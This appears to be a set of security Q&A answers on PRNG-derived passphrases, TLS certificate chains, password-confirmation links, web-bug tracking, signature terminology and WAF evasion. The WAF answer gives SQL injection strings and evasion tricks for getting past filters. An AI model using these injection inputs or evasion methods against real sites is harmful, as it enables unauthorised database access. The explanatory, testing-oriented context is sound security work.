You said it was randomly generated... was it cryptographically randomly generated or did it use a pseudo-random number generator?  Most PRNGs have significant weakness (e.g. based on atomic clock values) -- so if I know when the file was created, file metadata or in the filename itself, I might be able derive the seed and generate the same value you did at that time, thus significantly limiting the effectiveness of the 'randomness' almost to the point of negating it.
You said it was a passphrase, and not a password.  This also leaks information.  If true, it means your password probably isn't really cryptographically secure (e.g. 1r5%vb9*?_ad!@KLvnd) and probably something closer to I<3G0ldenR3tri3v3rs!!.  L337 speak is not cryptographically secure and good cracker will have dictionary files with common l337 speak variations on common words to significantly lower the time to crack.

So... to answer your question on how hard would it be to access their contents in 2018 and beyond? -- it highly depends on a number of factors.


If I join a war zone using an Ubuntu VM, can others on the war zone breach my network?

Yes, if your VM is accessible to other participants, it could potentially be attacked and/or compromised. Once the VM is compromised, it can trivially be used to attack the rest of your network.

While this may not be likely for a default install with no services running, be careful what services you expose (if any). Like the site says, a properly configured firewall should prevent most issues.


Is possible that a TLS server send more than one certificate to the client for the same site?

Strictly speaking, the server can send an arbitrary number of certificates to the client, as part of its Certificate message. However, as the standard says:

  The sender's
        certificate MUST come first in the list.  Each following
        certificate MUST directly certify the one preceding it.

Therefore, a really compliant server cannot send a choice of certificates to the client, and cannot expect clients to use any other certificate than the first one they send.

For signature algorithm support, there is a standard TLS extension specified in section 7.4.1.4.1, by which the client can tell to the server, early in the handshake (in the ClientHello, which is the very first message of the procedure), which hash functions and signature algorithms it supports. This allows a server who owns, for instance, both a RSA-signed certificate and an ECDSA-signed certificate, to send one or the other, depending on what the client supports. This is typical of how things go in TLS: the client suggests, the server chooses.

(In practice, support for this extension is not yet widespread. But, also in practice, everybody uses RSA and supports RSA.)


It can be difficult to predict how a WAF will inspect traffic because WAF rules and methods are not standardized and work so high up the stack. Basically, you are looking for weaknesses in detection and/or to make it as difficult as possible for a WAF to properly interpret the communication sent to the target.

Some techniques that can be used:

mixed case in attack strings (used to by-pass WAF regex configurations)
random comments in SQL commands
URI encoding
packet fragmentation

In one simple home-grown WAF system I tested, I defeated the SQL injection protection by switching from

' OR 1=1 --

to

' OR foo=foo --

On the topic of tools, SQLMap and Havij are well-known. The SQLMap evasion scripts may also provide deeper insight into specific WAF evasion techniques.

Any IPS evasion technique can also be potentially applied to WAF.


Any way to combine delayed password confirmation with the possibility of users navigating away?

You could send a newly generated link when the user navigates away from the page, automatically (they'll soon learn to stop doing that when they have 30 emails!) you could rate limit this to send, say once a day.

Or you could just keep the token open until the password is set, which could leave the token out there indefinitely. Which as you say, is far from ideal.

Or you could take the second approach but add a time expiration rather that the moment the visitor uses the link, so it is valid until the password is set or, say, 3 days have passed. You could then send a new link, or require manual activation/password reset. Personally I'd prefer this one, as if the email is never received for whatever reason (full inbox/server problems) the activation link isn't gone forever. This could then time out after further arbitrary time units to give up and block the account, rather than keep the account pending indefinitely.

Ultimately its down to your risk appetite, and what you see as the threat model. Either way it won't be perfect from a security perspective as the email is very possibly sent in clear text at any point of it's journey.

I don't see a perfect solution to your issue, no :(


The URL of the Web page where the bug is located is obtained with the Referer HTTP header: when the browser downloads the "bug" picture, it simply says to the server "I found this link in that page". There is no need for a one-to-one mapping, although it could certainly be done.

For the point (6), it is not about a cookie from the host server (the one which contains the Web page which links to the bug) but a cookie from the bug server itself. In your notation, a cookie which was sent from the tracker.com server, and is sent back by the browser to the tracker.com server. Fortunately, obtaining the cookie values attached to trackee.com is not that easy ! Otherwise, plundering cookies would be trivial for any site which allows users to include links to external resources (e.g. all the StackExchange sites).

This cookie management is still a worry because it allows the bug administrator to reliably track people. Namely, the first time a given browser downloads a bug, the bug server sends back a unique cookie value (e.g. randomly generated). Every subsequent download of any bug from any page pointing to the same tracker.com server will contain that cookie value, so the tracker.com can easily see that it is the same browser as previously.


What is the difference between a "Thumbprint Algorithm" "Signature Algorithm" and "Signature Hash Algorithm" for a certificate?

You are confused because some people (yeah I am looking at you, Microsoft) have been using the terms inconsistently.

A signature algorithm is a cryptographic algorithm such that:

The signer owns a public/private key pair. The public key is public, the private key is private; even though both keys are mathematically linked together, it is not feasible to recompute the private key from the public key (which is why the public key could safely be made public).
On a given input message, the signer can use his private key to compute a signature, which is specific to both the signer's key pair, and the input message.
There is a verification algorithm that takes as input the message, the signature and the public key, and answers "true" (they match) or "false" (they don't).

The cornerstone of signature security is that it should not be feasible, without knowledge of the private key, to generate pairs message+signature that the verification algorithm will accept.

You may encounter some "explanations" that try to say that digital signatures are some kind of encryption; they usually describe it as "you encrypt with the private key". Don't believe it; these explanations are actually wrong, and confusing.

For technical reasons, signature algorithms (both for signing and for verifying) often begin with a hash function. A hash function is a completely public algorithm with no key. The point of hash functions is that they can eat up terabytes of data, and produce a "digest" (also called "fingerprint" or even "thumbprint") that has a fixed, small size. Signature algorithms need that, because they work with values in some algebraic structure of a finite size, and thus cannot accommodate huge messages. Therefore, the message is first hashed, and only the hash value is used for generating or verifying a signature.

That hash algorithm, when it is used as first step of a signature generation or verification algorithm, will be called "signature hash algorithm". When we say something like "RSA/SHA-256", we mean "RSA signature, with SHA-256 as accompanying hash function".

A "thumbprint algorithm" is another name for a hash function. It is often encountered when talking about certificates: the "thumbprint" of a certificate really is the result of a hash function applied to the certificate itself (in Windows systems, the SHA-1 hash function is used).